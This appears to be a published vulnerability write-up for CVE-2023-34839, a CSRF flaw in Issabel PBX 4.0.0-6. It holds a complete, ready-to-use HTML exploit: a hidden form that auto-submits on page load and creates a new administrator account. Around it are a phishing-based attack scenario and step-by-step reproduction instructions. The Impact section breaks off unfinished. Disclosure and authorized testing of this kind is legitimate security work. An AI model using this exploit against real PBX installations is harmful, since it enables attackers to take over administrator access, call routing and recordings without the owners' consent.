CVE-2023-34839 — Issabel PBX 4.0.0-6: CSRF to Privilege Escalation

Overview
Vulnerability Details
Affected Software
CVSS Score
Attack Scenario
Proof of Concept (PoC)
Steps to Reproduce
Impact
Remediation
References
Disclaimer

Overview

CVE-2023-34839 is a Cross-Site Request Forgery (CSRF) vulnerability discovered in Issabel PBX version 4.0.0-6, a widely used open-source Unified Communications platform. The vulnerability resides in the user-management endpoint and allows an unauthenticated remote attacker to silently create a new administrator account by tricking a currently authenticated administrator into visiting a specially crafted webpage.

Field	Value
CVE ID	CVE-2023-34839
Date	23 June 2023
Researcher	Sahil Ojha
Vendor	Issabel
Product	Issabel PBX
Version	4.0.0-6
Tested On	Windows

Vulnerability Details

Issabel PBX 4.0.0-6 does not implement CSRF protections (e.g., synchronizer tokens, SameSite cookie attributes, or Origin / Referer header validation) on the user creation endpoint:

POST /index.php?menu=userlist&action=new

Because the application relies solely on session cookies for authentication and performs no state-changing request validation, a forged POST request submitted from any origin will be accepted and processed with the full privileges of the logged-in administrator session.

Root cause: Absence of anti-CSRF token validation on state-changing administrative endpoints.

Vulnerability class: CWE-352 — Cross-Site Request Forgery (CSRF)

Affected Software

Software	Version	Status
Issabel PBX	4.0.0-6	Vulnerable ✔

Vendor Homepage: https://www.issabel.org/
Source Code: https://github.com/IssabelFoundation/issabelPBX

CVSS Score

Metric	Value
CVSS v3.1 Vector	AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base Score	8.8 (High)
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	Required (admin visit)
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Attack Scenario

An attacker can exploit this vulnerability by following these high-level steps:

Craft a malicious HTML page that contains a hidden form targeting the Issabel PBX user-creation endpoint with attacker-controlled values (username, password, group = administrator).
Host the malicious page on a server or send it to the target administrator via phishing email, chat message, or any social-engineering vector.
Wait for the administrator to open the link while having an active, authenticated session with the Issabel PBX application.
The browser auto-submits the form using the victim's existing session cookie, causing the application to silently create a new administrator account.
The attacker logs in with the newly created credentials and has full administrator access to the PBX system, including call routing, recordings, SIP trunk configuration, and all system settings.

No interaction beyond a single page visit is required from the victim.

Proof of Concept (PoC)

⚠️ For educational and authorised testing purposes only.
Replace localhost with the hostname or IP address of the target Issabel PBX instance.
If testing against an https:// endpoint with a self-signed certificate, you must first visit the target URL in the same browser and accept the certificate warning; otherwise the browser will block the cross-origin form submission.

<html>
  <!-- CSRF Exploit — CVE-2023-34839 -->
  <body>
    <form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
      <input type="hidden" name="save"             value="Save" />
      <input type="hidden" name="name"             value="CSRF" />
      <input type="hidden" name="description"      value="CSRF Test Account" />
      <input type="hidden" name="password1"        value="Test@123" />
      <input type="hidden" name="password2"        value="Test@123" />
      <input type="hidden" name="group"            value="1" />   <!-- 1 = Administrator -->
      <input type="hidden" name="extension"        value="" />
      <input type="hidden" name="webmailuser"      value="" />
      <input type="hidden" name="webmaildomain"    value="" />
      <input type="hidden" name="webmailpassword1" value="" />
      <input type="hidden" name="id_user"          value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

The exploit file is also available in this repository: CSRF Exploit.html

Steps to Reproduce

Prerequisites

A running Issabel PBX 4.0.0-6 instance.
An administrator account with an active browser session.
A browser on the same machine as the administrator session.

Step 1 — Log in to Issabel PBX as Administrator

Navigate to the Issabel PBX web interface and log in with administrator credentials.

Issabel PBX Login

Step 2 — Prepare the CSRF Exploit

Copy the PoC HTML code above and save it as a .html file, replacing localhost with the actual hostname or IP address of the target Issabel instance.

The exploit uses hidden form fields to silently POST a new user creation request to the application. When the page loads, the embedded JavaScript immediately submits the form without any visible user action.

CSRF Exploit HTML

Step 3 — Open the Exploit in the Same Browser

Open the saved HTML file in the same browser (in a new tab) while the administrator session is still active. The form will be auto-submitted immediately upon page load.

Step 4 — Verify New Administrator Account Created

Navigate back to the Issabel PBX User Management panel. A new user account (in this PoC, named CSRF) will have been created with full Administrator privileges — without any additional interaction beyond opening the exploit page.

New Admin User Created

Impact

Successful exploitation of CVE-2023-34839 allows an attacker to:

CVE-2023-34839

Most Popular